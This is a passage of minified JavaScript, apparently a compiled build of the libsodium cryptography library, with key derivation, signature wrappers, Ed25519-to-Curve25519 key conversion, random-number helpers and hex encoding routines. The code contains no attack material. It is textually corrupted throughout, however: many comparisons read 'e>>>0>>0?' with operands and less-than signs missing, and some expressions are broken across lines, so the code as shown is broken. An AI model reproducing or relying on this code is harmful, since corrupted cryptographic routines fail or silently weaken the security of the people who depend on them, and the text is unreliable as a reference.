0]=h>>>8,s[n+10|0]=h>>>16,s[n+11|0]=h>>>24,s[n+12|0]=a,s[n+13|0]=a>>>8,s[n+14|0]=a>>>16,s[n+15|0]=a>>>24,s[0|n]=l,s[n+1|0]=l>>>8,s[n+2|0]=l>>>16,s[n+3|0]=l>>>24,s[n+4|0]=r,s[n+5|0]=r>>>8,s[n+6|0]=r>>>16,s[n+7|0]=r>>>24,g=c[(a=t)+8|0]|c[a+9|0]<<8|c[a+10|0]<<16|c[a+11|0]<<24,u=c[a+12|0]|c[a+13|0]<<8|c[a+14|0]<<16|c[a+15|0]<<24,l=c[a+16|0]|c[a+17|0]<<8|c[a+18|0]<<16|c[a+19|0]<<24,r=c[a+20|0]|c[a+21|0]<<8|c[a+22|0]<<16|c[a+23|0]<<24,e=c[0|a]|c[a+1|0]<<8|c[a+2|0]<<16|c[a+3|0]<<24,t=c[a+4|0]|c[a+5|0]<<8|c[a+6|0]<<16|c[a+7|0]<<24,h=c[a+28|0]|c[a+29|0]<<8|c[a+30|0]<<16|c[a+31|0]<<24,a=c[a+24|0]|c[a+25|0]<<8|c[a+26|0]<<16|c[a+27|0]<<24,s[n+56|0]=a,s[n+57|0]=a>>>8,s[n+58|0]=a>>>16,s[n+59|0]=a>>>24,s[n+60|0]=h,s[n+61|0]=h>>>8,s[n+62|0]=h>>>16,s[n+63|0]=h>>>24,s[n+48|0]=l,s[n+49|0]=l>>>8,s[n+50|0]=l>>>16,s[n+51|0]=l>>>24,s[n+52|0]=r,s[n+53|0]=r>>>8,s[n+54|0]=r>>>16,s[n+55|0]=r>>>24,s[n+40|0]=g,s[n+41|0]=g>>>8,s[n+42|0]=g>>>16,s[n+43|0]=g>>>24,s[n+44|0]=u,s[n+45|0]=u>>>8,s[n+46|0]=u>>>16,s[n+47|0]=u>>>24,s[n+32|0]=e,s[n+33|0]=e>>>8,s[n+34|0]=e>>>16,s[n+35|0]=e>>>24,s[n+36|0]=t,s[n+37|0]=t>>>8,s[n+38|0]=t>>>16,s[n+39|0]=t>>>24,I=i+160|0,0},Ob:function(t,e){t|=0,e|=0;var r,n,A,i,o,h=0,g=0,u=0;return I=g=I-192|0,vt(g,32),ct(e,g,32,0),s[0|e]=248&c[0|e],s[e+31|0]=63&c[e+31|0]|64,H(u=g+32|0,e),bt(t,u),r=g,u=a[g+28>>2],g=a[g+24>>2],s[e+24|0]=g,s[e+25|0]=g>>>8,s[e+26|0]=g>>>16,s[e+27|0]=g>>>24,s[e+28|0]=u,s[e+29|0]=u>>>8,s[e+30|0]=u>>>16,s[e+31|0]=u>>>24,u=a[r+20>>2],g=a[r+16>>2],s[e+16|0]=g,s[e+17|0]=g>>>8,s[e+18|0]=g>>>16,s[e+19|0]=g>>>24,s[e+20|0]=u,s[e+21|0]=u>>>8,s[e+22|0]=u>>>16,s[e+23|0]=u>>>24,u=a[r+12>>2],g=a[r+8>>2],s[e+8|0]=g,s[e+9|0]=g>>>8,s[e+10|0]=g>>>16,s[e+11|0]=g>>>24,s[e+12|0]=u,s[e+13|0]=u>>>8,s[e+14|0]=u>>>16,s[e+15|0]=u>>>24,u=a[r+4>>2],g=a[r>>2],s[0|e]=g,s[e+1|0]=g>>>8,s[e+2|0]=g>>>16,s[e+3|0]=g>>>24,s[e+4|0]=u,s[e+5|0]=u>>>8,s[e+6|0]=u>>>16,s[e+7|0]=u>>>24,n=c[(h=t)+8|0]|c[h+9|0]<<8|c[h+10|0]<<16|c[h+11|0]<<24,A=c[h+12|0]|c[h+13|0]<<8|c[h+14|0]<<16|c[h+15|0]<<24,i=c[h+16|0]|c[h+17|0]<<8|c[h+18|0]<<16|c[h+19|0]<<24,u=c[h+20|0]|c[h+21|0]<<8|c[h+22|0]<<16|c[h+23|0]<<24,g=c[0|h]|c[h+1|0]<<8|c[h+2|0]<<16|c[h+3|0]<<24,t=c[h+4|0]|c[h+5|0]<<8|c[h+6|0]<<16|c[h+7|0]<<24,o=c[h+28|0]|c[h+29|0]<<8|c[h+30|0]<<16|c[h+31|0]<<24,h=c[h+24|0]|c[h+25|0]<<8|c[h+26|0]<<16|c[h+27|0]<<24,s[e+56|0]=h,s[e+57|0]=h>>>8,s[e+58|0]=h>>>16,s[e+59|0]=h>>>24,s[e+60|0]=o,s[e+61|0]=o>>>8,s[e+62|0]=o>>>16,s[e+63|0]=o>>>24,s[e+48|0]=i,s[e+49|0]=i>>>8,s[e+50|0]=i>>>16,s[e+51|0]=i>>>24,s[e+52|0]=u,s[e+53|0]=u>>>8,s[e+54|0]=u>>>16,s[e+55|0]=u>>>24,s[e+40|0]=n,s[e+41|0]=n>>>8,s[e+42|0]=n>>>16,s[e+43|0]=n>>>24,s[e+44|0]=A,s[e+45|0]=A>>>8,s[e+46|0]=A>>>16,s[e+47|0]=A>>>24,s[e+32|0]=g,s[e+33|0]=g>>>8,s[e+34|0]=g>>>16,s[e+35|0]=g>>>24,s[e+36|0]=t,s[e+37|0]=t>>>8,s[e+38|0]=t>>>16,s[e+39|0]=t>>>24,oe(r,32),I=r+192|0,0},Pb:function(t,e,r,n,A,i){e|=0,A|=0,i|=0;var o,s=0;return I=o=I-16|0,m(t|=0,o+8|0,kt(t- -64|0,r|=0,n|=0),n,A,i,0),64!=a[o+8>>2]|a[o+12>>2]?(e&&(a[e>>2]=0,a[e+4>>2]=0),xt(t,0,n- -64|0),s=-1):e&&(a[e>>2]=n- -64,a[e+4>>2]=A-((n>>>0<4294967232)-1|0)),I=o+16|0,0|s},Qb:function(t,e,r,n,A,i){t|=0,e|=0,r|=0;var o=0;t:{e:{if(o=n|=0,!(!(A|=0)&n>>>0<64||(n=A-1|0,!(n=(A=o+-64|0)>>>0<4294967232?n+1|0:n)&A>>>0>4294967231|n))){if(!w(r,o=r- -64|0,A,n,i|=0,0))break e;t&&xt(t,0,A)}if(r=-1,!e)break t;a[e>>2]=0,a[e+4>>2]=0;break t}e&&(a[e>>2]=A,a[e+4>>2]=n),r=0,t&&kt(t,o,A)}return 0|r},Rb:function(t,e,r,n,A,i){return m(t|=0,e|=0,r|=0,n|=0,A|=0,i|=0,0),0},Sb:function(t,e,r,n,A){return 0|w(t|=0,e|=0,r|=0,n|=0,A|=0,0)},Tb:function(t){return gt(t|=0),0},Ub:function(t,e,r,n){return 0|G(t|=0,e|=0,r|=0,n|=0)},Vb:function(t,e,r,n){var A;return e|=0,r|=0,n|=0,I=A=I+-64|0,D(t|=0,A),t=m(e,r,A,64,0,n,1),I=A- -64|0,0|t},Wb:function(t,e,r){var n;return e|=0,r|=0,I=n=I+-64|0,D(t|=0,n),t=w(e,n,64,0,r,1),I=n- -64|0,0|t},Xb:function(t,e){t|=0;var r,n=0,A=0,i=0,o=0,c=0,h=0,u=0,l=0,f=0,p=0,d=0,C=0,m=0,B=0,E=0,w=0,Q=0,b=0,k=0,D=0,S=0,M=0,x=0,F=0,R=0,U=0,G=0,H=0,L=0,O=0,Y=0,K=0,J=0,j=0,z=0,q=0,V=0,W=0,$=0,tt=0,rt=0,nt=0,At=0,it=0,ot=0,st=0,at=0,ct=0,gt=0,ut=0,ft=0,pt=0,dt=0,It=0,yt=0,Ct=0,mt=0,Et=0,wt=0,vt=0,_t=0,Qt=0,bt=0,kt=0,Dt=0,St=0,Nt=0,Mt=0,Ft=0,Pt=0,Tt=0,Rt=0,Ut=0,Gt=0,Ht=0,Lt=0,Ot=0,Yt=0,Kt=0,Jt=0;if(I=r=I-256|0,Rt=-1,!lt(e|=0)&&!N(n=r+96|0,e)){for(I=i=I-2048|0,Z(o=i+640|0,n),n=a[(e=n)+36>>2],a[i+352>>2]=a[e+32>>2],a[i+356>>2]=n,n=a[e+28>>2],a[i+344>>2]=a[e+24>>2],a[i+348>>2]=n,n=a[e+20>>2],a[i+336>>2]=a[e+16>>2],a[i+340>>2]=n,n=a[e+12>>2],a[i+328>>2]=a[e+8>>2],a[i+332>>2]=n,n=a[e+4>>2],a[i+320>>2]=a[e>>2],a[i+324>>2]=n,n=a[e+52>>2],a[i+368>>2]=a[e+48>>2],a[i+372>>2]=n,n=a[e+60>>2],a[i+376>>2]=a[e+56>>2],a[i+380>>2]=n,A=a[4+(n=e- -64|0)>>2],a[i+384>>2]=a[n>>2],a[i+388>>2]=A,n=a[e+76>>2],a[i+392>>2]=a[e+72>>2],a[i+396>>2]=n,n=a[e+44>>2],a[i+360>>2]=a[e+40>>2],a[i+364>>2]=n,n=a[e+92>>2],a[i+408>>2]=a[e+88>>2],a[i+412>>2]=n,n=a[e+100>>2],a[i+416>>2]=a[e+96>>2],a[i+420>>2]=n,n=a[e+108>>2],a[i+424>>2]=a[e+104>>2],a[i+428>>2]=n,n=a[e+116>>2],a[i+432>>2]=a[e+112>>2],a[i+436>>2]=n,n=a[e+84>>2],a[i+400>>2]=a[e+80>>2],a[i+404>>2]=n,_(e=i+480|0,n=i+320|0),v(A=i+160|0,e,h=i+600|0),v(i+200|0,l=i+520|0,f=i+560|0),v(i+240|0,f,h),v(i+280|0,e,l),P(e,A,o),v(n,e,h),v(E=i+360|0,l,f),v(w=i+400|0,f,h),v(C=i+440|0,e,l),Z(o=i+800|0,n),P(e,A,o),v(n,e,h),v(E,l,f),v(w,f,h),v(C,e,l),Z(o=i+960|0,n),P(e,A,o),v(n,e,h),v(E,l,f),v(w,f,h),v(C,e,l),Z(o=i+1120|0,n),P(e,A,o),v(n,e,h),v(E,l,f),v(w,f,h),v(C,e,l),Z(o=i+1280|0,n),P(e,A,o),v(n,e,h),v(E,l,f),v(w,f,h),v(C,e,l),Z(o=i+1440|0,n),P(e,A,o),v(n,e,h),v(E,l,f),v(w,f,h),v(C,e,l),Z(o=i+1600|0,n),P(e,A,o),v(n,e,h),v(E,l,f),v(w,f,h),v(C,e,l),Z(i+1760|0,n),a[i+32>>2]=0,a[i+36>>2]=0,a[i+24>>2]=0,a[i+28>>2]=0,a[i+16>>2]=0,a[i+20>>2]=0,a[i+8>>2]=0,a[i+12>>2]=0,a[i+44>>2]=0,a[i+48>>2]=0,a[i+52>>2]=0,a[i+56>>2]=0,a[i+60>>2]=0,a[i+64>>2]=0,a[i+68>>2]=0,a[i+72>>2]=0,a[i+76>>2]=0,a[i+80>>2]=1,a[i>>2]=0,a[i+4>>2]=0,a[i+40>>2]=1,xt(i+84|0,0,76),p=i+120|0,B=i+2008|0,m=i+1968|0,n=i+80|0,A=i+40|0,o=252;c=a[i+36>>2],a[(e=i+1960|0)>>2]=a[i+32>>2],a[e+4>>2]=c,c=a[i+28>>2],a[(e=i+1952|0)>>2]=a[i+24>>2],a[e+4>>2]=c,c=a[i+20>>2],a[(e=i+1944|0)>>2]=a[i+16>>2],a[e+4>>2]=c,c=a[i+12>>2],a[(e=i+1936|0)>>2]=a[i+8>>2],a[e+4>>2]=c,e=a[i+4>>2],a[i+1928>>2]=a[i>>2],a[i+1932>>2]=e,c=a[(e=A)+36>>2],a[m+32>>2]=a[e+32>>2],a[m+36>>2]=c,c=a[e+28>>2],a[m+24>>2]=a[e+24>>2],a[m+28>>2]=c,c=a[e+20>>2],a[m+16>>2]=a[e+16>>2],a[m+20>>2]=c,c=a[e+12>>2],a[m+8>>2]=a[e+8>>2],a[m+12>>2]=c,c=a[e+4>>2],a[m>>2]=a[e>>2],a[m+4>>2]=c,c=a[(e=n)+36>>2],a[B+32>>2]=a[e+32>>2],a[B+36>>2]=c,c=a[e+28>>2],a[B+24>>2]=a[e+24>>2],a[B+28>>2]=c,c=a[e+20>>2],a[B+16>>2]=a[e+16>>2],a[B+20>>2]=c,c=a[e+12>>2],a[B+8>>2]=a[e+8>>2],a[B+12>>2]=c,c=a[e+4>>2],a[B>>2]=a[e>>2],a[B+4>>2]=c,o=s[(e=o)+33424|0],_(c=i+480|0,i+1928|0),(0|o)>0?(v(b=i+320|0,c,h),v(E,l,f),v(w,f,h),v(C,c,l),P(c,b,(i+640|0)+g((254&o)>>>1|0,160)|0)):(0|o)>=0||(v(b=i+320|0,c=i+480|0,h),v(E,l,f),v(w,f,h),v(C,c,l),T(c,b,(i+640|0)+g((0-o&254)>>>1|0,160)|0)),v(i,o=i+480|0,h),v(A,l,f),v(n,f,h),v(p,o,l),o=e-1|0,e;);et(e=i+640|0,i),e=ht(e,32),I=i+2048|0,e&&(i=a[r+136>>2],a[r>>2]=1-i,Rt=0,K=a[r+172>>2],a[r+36>>2]=0-K,E=a[r+168>>2],a[r+32>>2]=0-E,J=a[r+164>>2],a[r+28>>2]=0-J,l=a[r+160>>2],a[r+24>>2]=0-l,j=a[r+156>>2],a[r+20>>2]=0-j,f=a[r+152>>2],a[r+16>>2]=0-f,z=a[r+148>>2],a[r+12>>2]=0-z,B=a[r+144>>2],a[r+8>>2]=0-B,q=a[r+140>>2],a[r+4>>2]=0-q,X(r,r),e=Bt(w=a[r+4>>2],L=w>>31,M=j<<1,gt=M>>31),n=y,A=Bt(h=a[r>>2],x=h>>31,l,F=l>>31),n=y+n|0,n=(e=A+e|0)>>>0>>0?n+1|0:n,A=(o=Bt(c=a[r+8>>2],V=c>>31,f,R=f>>31))+e|0,e=y+n|0,e=A>>>0>>0?e+1|0:e,n=A,A=Bt(O=a[r+12>>2],tt=O>>31,At=z<<1,ut=At>>31),e=y+e|0,e=(n=n+A|0)>>>0>>0?e+1|0:e,A=Bt(W=a[r+16>>2],it=W>>31,B,U=B>>31),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,St=o=a[r+20>>2],m=Bt(o,ft=o>>31,ot=q<<1,pt=ot>>31),A=y+e|0,A=(n=m+n|0)>>>0>>0?A+1|0:A,Nt=k=a[r+24>>2],e=(i=Bt(k,bt=k>>31,m=i+1|0,G=m>>31))+n|0,n=y+A|0,n=e>>>0>>0?n+1|0:n,dt=a[r+28>>2],A=(i=Bt(b=g(dt,19),rt=b>>31,st=K<<1,It=st>>31))+e|0,e=y+n|0,e=A>>>0>>0?e+1|0:e,n=A,Ut=a[r+32>>2],A=Bt(p=g(Ut,19),$=p>>31,E,H=E>>31),e=y+e|0,e=(n=n+A|0)>>>0>>0?e+1|0:e,Gt=a[r+36>>2],A=Bt(C=g(Gt,19),Y=C>>31,at=J<<1,yt=at>>31),e=y+e|0,d=n=A+n|0,i=n>>>0>>0?e+1|0:e,e=Bt(f,R,w,L),n=y,u=Bt(h,x,j,Ct=j>>31),A=y+n|0,A=(e=u+e|0)>>>0>>0?A+1|0:A,u=Bt(c,V,z,mt=z>>31),n=y+A|0,n=(e=u+e|0)>>>0>>0?n+1|0:n,A=(u=Bt(B,U,O,tt))+e|0,e=y+n|0,e=A>>>0>>0?e+1|0:e,n=A,A=Bt(W,it,q,Et=q>>31),e=y+e|0,e=(n=n+A|0)>>>0>>0?e+1|0:e,A=Bt(m,G,o,ft),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,u=Bt(k=g(k,19),ct=k>>31,K,wt=K>>31),A=y+e|0,A=(n=u+n|0)>>>0>>0?A+1|0:A,e=(u=Bt(E,H,b,rt))+n|0,n=y+A|0,n=e>>>0>>0?n+1|0:n,A=(u=Bt(p,$,J,vt=J>>31))+e|0,e=y+n|0,e=A>>>0>>0?e+1|0:e,n=A,A=Bt(l,F,C,Y),e=y+e|0,Mt=n=n+A|0,nt=n>>>0>>0?e+1|0:e,e=Bt(w,L,At,ut),A=y,n=(u=Bt(h,x,f,R))+e|0,e=y+A|0,e=n>>>0>>0?e+1|0:e,u=Bt(B,U,c,V),A=y+e|0,A=(n=u+n|0)>>>0>>0?A+1|0:A,e=(u=Bt(O,tt,ot,pt))+n|0,n=y+A|0,n=e>>>0>>0?n+1|0:n,A=(u=Bt(m,G,W,it))+e|0,e=y+n|0,e=A>>>0>>0?e+1|0:e,n=A,A=Bt(u=g(o,19),_t=u>>31,st,It),e=y+e|0,e=(n=n+A|0)>>>0>>0?e+1|0:e,A=Bt(E,H,k,ct),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,o=Bt(b,rt,at,yt),A=y+e|0,A=(n=o+n|0)>>>0>>0?A+1|0:A,e=(o=Bt(l,F,p,$))+n|0,n=y+A|0,n=e>>>0>>0?n+1|0:n,A=(o=Bt(C,Y,M,gt))+e|0,e=y+n|0,Ht=A,Lt=e=A>>>0>>0?e+1|0:e,Ot=A=A+33554432|0,Yt=e=A>>>0<33554432?e+1|0:e,A=(67108863&e)<<6|A>>>26,e=(e>>26)+nt|0,Mt=o=A+Mt|0,e=A>>>0>o>>>0?e+1|0:e,Kt=o=o+16777216|0,e=(n=(A=o>>>0<16777216?e+1|0:e)>>25)+i|0,e=(A=(o=(33554431&A)<<7|o>>>25)+d|0)>>>0>>0?e+1|0:e,S=n=A+33554432|0,o=e=n>>>0<33554432?e+1|0:e,a[r+72>>2]=A-(-67108864&n),e=Bt(w,L,ot,pt),n=y,i=Bt(h,x,B,U),A=y+n|0,A=(e=i+e|0)>>>0>>0?A+1|0:A,n=(i=Bt(m,G,c,V))+e|0,e=y+A|0,e=n>>>0>>0?e+1|0:e,A=Bt(i=g(O,19),Qt=i>>31,st,It),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,A=(d=Bt(nt=g(W,19),kt=nt>>31,E,H))+n|0,n=y+e|0,n=A>>>0>>0?n+1|0:n,d=Bt(at,yt,u,_t),e=y+n|0,e=(A=d+A|0)>>>0>>0?e+1|0:e,n=(d=Bt(l,F,k,ct))+A|0,A=y+e|0,A=n>>>0>>0?A+1|0:A,d=Bt(b,rt,M,gt),e=y+A|0,e=(n=d+n|0)>>>0>>0?e+1|0:e,A=Bt(f,R,p,$),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,A=(d=Bt(C,Y,At,ut))+n|0,n=y+e|0,D=A,Ft=A>>>0>>0?n+1|0:n,e=Bt(m,G,w,L),n=y,A=(d=Bt(h,x,q,Et))+e|0,e=y+n|0,e=A>>>0>>0?e+1|0:e,d=n=g(c,19),n=(Q=Bt(n,Dt=n>>31,K,wt))+A|0,A=y+e|0,A=n>>>0>>0?A+1|0:A,Q=Bt(i,Qt,E,H),e=y+A|0,e=(n=Q+n|0)>>>0>>0?e+1|0:e,A=Bt(nt,kt,J,vt),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,A=(Q=Bt(l,F,u,_t))+n|0,n=y+e|0,n=A>>>0>>0?n+1|0:n,Q=Bt(k,ct,j,Ct),e=y+n|0,e=(A=Q+A|0)>>>0>>0?e+1|0:e,n=(Q=Bt(f,R,b,rt))+A|0,A=y+e|0,A=n>>>0>>0?A+1|0:A,Q=Bt(p,$,z,mt),e=y+A|0,e=(n=Q+n|0)>>>0>>0?e+1|0:e,A=Bt(B,U,C,Y),e=y+e|0,Pt=n=A+n|0,Q=n>>>0>>0?e+1|0:e,e=Bt(e=g(w,19),e>>31,st,It),n=y,A=Bt(h,x,m,G),n=y+n|0,n=(e=A+e|0)>>>0>>0?n+1|0:n,A=(d=Bt(d,Dt,E,H))+e|0,e=y+n|0,n=(i=Bt(i,Qt,at,yt))+A|0,A=y+(A>>>0>>0?e+1|0:e)|0,A=n>>>0>>0?A+1|0:A,i=Bt(l,F,nt,kt),e=y+A|0,e=(n=i+n|0)>>>0>>0?e+1|0:e,A=Bt(M,gt,u,_t),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,A=(i=Bt(f,R,k,ct))+n|0,n=y+e|0,n=A>>>0>>0?n+1|0:n,i=Bt(b,rt,At,ut),e=y+n|0,e=(A=i+A|0)>>>0>>0?e+1|0:e,n=(i=Bt(B,U,p,$))+A|0,A=y+e|0,A=n>>>0>>0?A+1|0:A,i=Bt(C,Y,ot,pt),e=y+A|0,d=n=i+n|0,Qt=e=n>>>0>>0?e+1|0:e,Dt=n=n+33554432|0,Jt=e=n>>>0<33554432?e+1|0:e,A=e>>26,e=(67108863&e)<<6|n>>>26,n=A+Q|0,Q=i=e+Pt|0,e=n=e>>>0>i>>>0?n+1|0:n,Pt=i=i+16777216|0,i=(33554431&(e=i>>>0<16777216?e+1|0:e))<<7|i>>>25,e=(e>>25)+Ft|0,e=(n=i+D|0)>>>0>>0?e+1|0:e,A=n,Ft=n=n+33554432|0,i=e=n>>>0<33554432?e+1|0:e,a[r+56>>2]=A-(-67108864&n),e=Bt(l,F,w,L),A=y,n=(D=Bt(h,x,J,vt))+e|0,e=y+A|0,e=n>>>0>>0?e+1|0:e,A=Bt(c,V,j,Ct),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,A=Bt(f,R,O,tt),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,D=Bt(W,it,z,mt),A=y+e|0,A=(n=D+n|0)>>>0>>0?A+1|0:A,e=(D=Bt(B,U,St,ft))+n|0,n=y+A|0,n=e>>>0>>0?n+1|0:n,A=(D=Bt(q,Et,Nt,bt))+e|0,e=y+n|0,e=A>>>0>>0?e+1|0:e,n=A,A=Bt(dt,Tt=dt>>31,m,G),e=y+e|0,e=(n=n+A|0)>>>0>>0?e+1|0:e,A=Bt(p,$,K,wt),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,D=(A=n)+(n=Bt(E,H,C,Y))|0,A=y+e|0,n=(e=o>>26)+(n=n>>>0>D>>>0?A+1|0:A)|0,S=A=(o=(67108863&o)<<6|S>>>26)+D|0,e=n=A>>>0>>0?n+1|0:n,D=A=A+16777216|0,o=e=A>>>0<16777216?e+1|0:e,a[r+76>>2]=S-(-33554432&A),e=Bt(B,U,w,L),n=y,S=Bt(h,x,z,mt),A=y+n|0,A=(e=S+e|0)>>>0>>0?A+1|0:A,S=Bt(c,V,q,Et),n=y+A|0,n=(e=S+e|0)>>>0>>0?n+1|0:n,A=(S=Bt(m,G,O,tt))+e|0,e=y+n|0,e=A>>>0>>0?e+1|0:e,n=A,A=Bt(nt,kt,K,wt),e=y+e|0,e=(n=n+A|0)>>>0>>0?e+1|0:e,A=Bt(E,H,u,_t),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,n=(k=Bt(k,ct,J,vt))+n|0,A=y+e|0,e=(b=Bt(l,F,b,rt))+n|0,n=y+(n>>>0>>0?A+1|0:A)|0,A=(p=Bt(p,$,j,Ct))+e|0,e=y+(e>>>0>>0?n+1|0:n)|0,e=A>>>0

>>0?e+1|0:e,n=A,A=Bt(f,R,C,Y),e=y+e|0,S=n=n+A|0,e=(e=n>>>0>>0?e+1|0:e)+(n=i>>26)|0,p=i=S+(A=(67108863&i)<<6|Ft>>>26)|0,e=A>>>0>i>>>0?e+1|0:e,b=n=i+16777216|0,i=A=n>>>0<16777216?e+1|0:e,a[r+60>>2]=p-(-33554432&n),e=Bt(w,L,at,yt),A=y,n=(p=Bt(h,x,E,H))+e|0,e=y+A|0,e=n>>>0

>>0?e+1|0:e,A=Bt(l,F,c,V),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,p=Bt(O,tt,M,gt),A=y+e|0,A=(n=p+n|0)>>>0

>>0?A+1|0:A,e=(p=Bt(f,R,W,it))+n|0,n=y+A|0,n=e>>>0

>>0?n+1|0:n,A=(p=Bt(At,ut,St,ft))+e|0,e=y+n|0,e=A>>>0

>>0?e+1|0:e,n=A,A=Bt(B,U,Nt,bt),e=y+e|0,e=(n=n+A|0)>>>0>>0?e+1|0:e,A=n,n=Bt(ot,pt,dt,Tt),e=y+e|0,e=n>>>0>(A=A+n|0)>>>0?e+1|0:e,p=n=Ut,n=(M=Bt(n,k=n>>31,m,G))+A|0,A=y+e|0,e=(C=Bt(C,Y,st,It))+n|0,n=y+(n>>>0>>0?A+1|0:A)|0,A=e>>>0>>0?n+1|0:n,n=e,e=(e=o>>25)+A|0,e=(n=n+(o=(33554431&o)<<7|D>>>25)|0)>>>0>>0?e+1|0:e,A=n,C=n=n+33554432|0,o=e=n>>>0<33554432?e+1|0:e,a[r+80>>2]=A-(-67108864&n),n=i>>25,A=(i=(33554431&i)<<7|b>>>25)+(Ht-(e=-67108864&Ot)|0)|0,e=n+(Lt-((e>>>0>Ht>>>0)+Yt|0)|0)|0,e=A>>>0>>0?e+1|0:e,e=((67108863&(e=(n=A+33554432|0)>>>0<33554432?e+1|0:e))<<6|n>>>26)+(M=Mt-(-33554432&Kt)|0)|0,a[r+68>>2]=e,a[r+64>>2]=A-(-67108864&n),e=Bt(E,H,w,L),A=y,n=(i=Bt(h,x,K,wt))+e|0,e=y+A|0,e=n>>>0>>0?e+1|0:e,A=(i=Bt(c,V,J,vt))+n|0,n=y+e|0,n=A>>>0>>0?n+1|0:n,e=(i=Bt(l,F,O,tt))+A|0,A=y+n|0,A=e>>>0>>0?A+1|0:A,n=(i=Bt(W,it,j,Ct))+e|0,e=y+A|0,e=n>>>0>>0?e+1|0:e,A=Bt(f,R,St,ft),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,A=Bt(z,mt,Nt,bt),e=y+e|0,e=(n=A+n|0)>>>0>>0?e+1|0:e,A=(i=Bt(B,U,dt,Tt))+n|0,n=y+e|0,n=A>>>0>>0?n+1|0:n,i=(e=Bt(p,k,q,Et))+A|0,A=y+n|0,A=e>>>0>i>>>0?A+1|0:A,n=i,i=Bt(e=Gt,e>>31,m,G),e=y+A|0,A=n=n+i|0,e=(e=n>>>0>>0?e+1|0:e)+(n=o>>26)|0,e=(A=A+(o=(67108863&o)<<6|C>>>26)|0)>>>0>>0?e+1|0:e,e=(n=A+16777216|0)>>>0<16777216?e+1|0:e,a[r+84>>2]=A-(-33554432&n),o=Q-(-33554432&Pt)|0,i=d-(A=-67108864&Dt)|0,h=Qt-((A>>>0>d>>>0)+Jt|0)|0,e=Bt((33554431&(A=e))<<7|n>>>25,e>>=25,19,0),n=y+h|0,e=e>>>0>(A=e+i|0)>>>0?n+1|0:n,e=((67108863&(e=(n=A+33554432|0)>>>0<33554432?e+1|0:e))<<6|n>>>26)+o|0,a[r+52>>2]=e,a[r+48>>2]=A-(-67108864&n),et(t,r+48|0))}return I=r+256|0,0|Rt},Yb:function(t,e){t|=0;var r,n=0;return I=r=I+-64|0,ct(r,e|=0,32,0),s[0|r]=248&c[0|r],s[r+31|0]=63&c[r+31|0]|64,e=a[r+20>>2],n=a[r+16>>2],s[t+16|0]=n,s[t+17|0]=n>>>8,s[t+18|0]=n>>>16,s[t+19|0]=n>>>24,s[t+20|0]=e,s[t+21|0]=e>>>8,s[t+22|0]=e>>>16,s[t+23|0]=e>>>24,e=a[r+12>>2],n=a[r+8>>2],s[t+8|0]=n,s[t+9|0]=n>>>8,s[t+10|0]=n>>>16,s[t+11|0]=n>>>24,s[t+12|0]=e,s[t+13|0]=e>>>8,s[t+14|0]=e>>>16,s[t+15|0]=e>>>24,e=a[r+4>>2],n=a[r>>2],s[0|t]=n,s[t+1|0]=n>>>8,s[t+2|0]=n>>>16,s[t+3|0]=n>>>24,s[t+4|0]=e,s[t+5|0]=e>>>8,s[t+6|0]=e>>>16,s[t+7|0]=e>>>24,e=a[r+28>>2],n=a[r+24>>2],s[t+24|0]=n,s[t+25|0]=n>>>8,s[t+26|0]=n>>>16,s[t+27|0]=n>>>24,s[t+28|0]=e,s[t+29|0]=e>>>8,s[t+30|0]=e>>>16,s[t+31|0]=e>>>24,oe(r,64),I=r- -64|0,0},Zb:function(){var t,e;return I=t=I-16|0,s[t+15|0]=0,e=0|l(35256,t+15|0,0),I=t+16|0,0|e},_b:Ot,$b:function(t){var e,r=0,n=0;if(I=e=I-16|0,(t|=0)>>>0>=2){for(r=(0-t>>>0)%(t>>>0)|0;s[e+15|0]=0,r>>>0>(n=0|l(35256,e+15|0,0))>>>0;);r=(n>>>0)%(t>>>0)|0}return I=e+16|0,0|r},ac:vt,bc:function(t,e,r){Wt(t|=0,e|=0,1024,r|=0)},cc:ce,dc:function(){var t=0,e=0;return(t=a[9004])&&(t=a[t+20>>2])&&(e=0|Ie[0|t]()),0|e},ec:function(t,e,r){t|=0,e|=0;var n,A=0,o=0,a=0;if(I=n=I-16|0,r|=0)f(1240,1100,197,1036),i();else{if(e)for(;s[n+15|0]=0,o=t+A|0,a=0|l(35256,n+15|0,0),s[0|o]=a,(0|e)!=(0|(A=A+1|0)););I=n+16|0}},fc:function(t,e,r,n){t|=0,r|=0;var A=0,o=0,a=0;if(!((n|=0)>>>0>2147483646|n<<1>>>0>=(e|=0)>>>0)){if(e=0,n){for(;A=(e<<1)+t|0,o=15&(a=c[e+r|0]),s[A+1|0]=22272+((o<<8)+(o+65526&55552)|0)>>>8,o=A,A=a>>>4|0,s[0|o]=87+((A+65526>>>8&217)+A|0),(0|n)!=(0|(e=e+1|0)););e=n<<1}else e=0;return s[e+t|0]=0,0|t}Kt(),i()},gc:function(t,e,r,n,A,i,o){t|=0,e|=0,r|=0,A|=0,i|=0,o|=0;var h=0,g=0,u=0,l=0,f=0,p=0,d=0,I=0,y=0,C=0;t:if(n|=0){e:{r:{n:{A:{if(!A){for(g=1,A=0;;){if(!(255&((d=(65526+(u=(223&(f=c[r+h|0]))-55&255)^u+65520)>>>8|0)|(I=65526+(f^=48)>>>8|0))))break n;if(e>>>0<=p>>>0)break A;if(u=u&d|f&I,255&l?(s[t+p|0]=A|u,p=p+1|0):A=u<<4,l^=-1,(0|(h=h+1|0))==(0|n))break}h=n;break n}for(;;){i:{o:{s:{a:{c:{if(!(255&((f=(65526+(u=(223&(g=c[r+h|0]))-55&255)^u+65520)>>>8|0)|(I=65526+(d=48^g)>>>8|0)))){if(255&l)break r;if(!At(A,g))break t;if((h=l=h+1|0)>>>0>>0)break c;break t}if(e>>>0<=p>>>0)break A;if(g=u&f|d&I,!(255&l))break a;s[t+p|0]=g|C,p=p+1|0;break 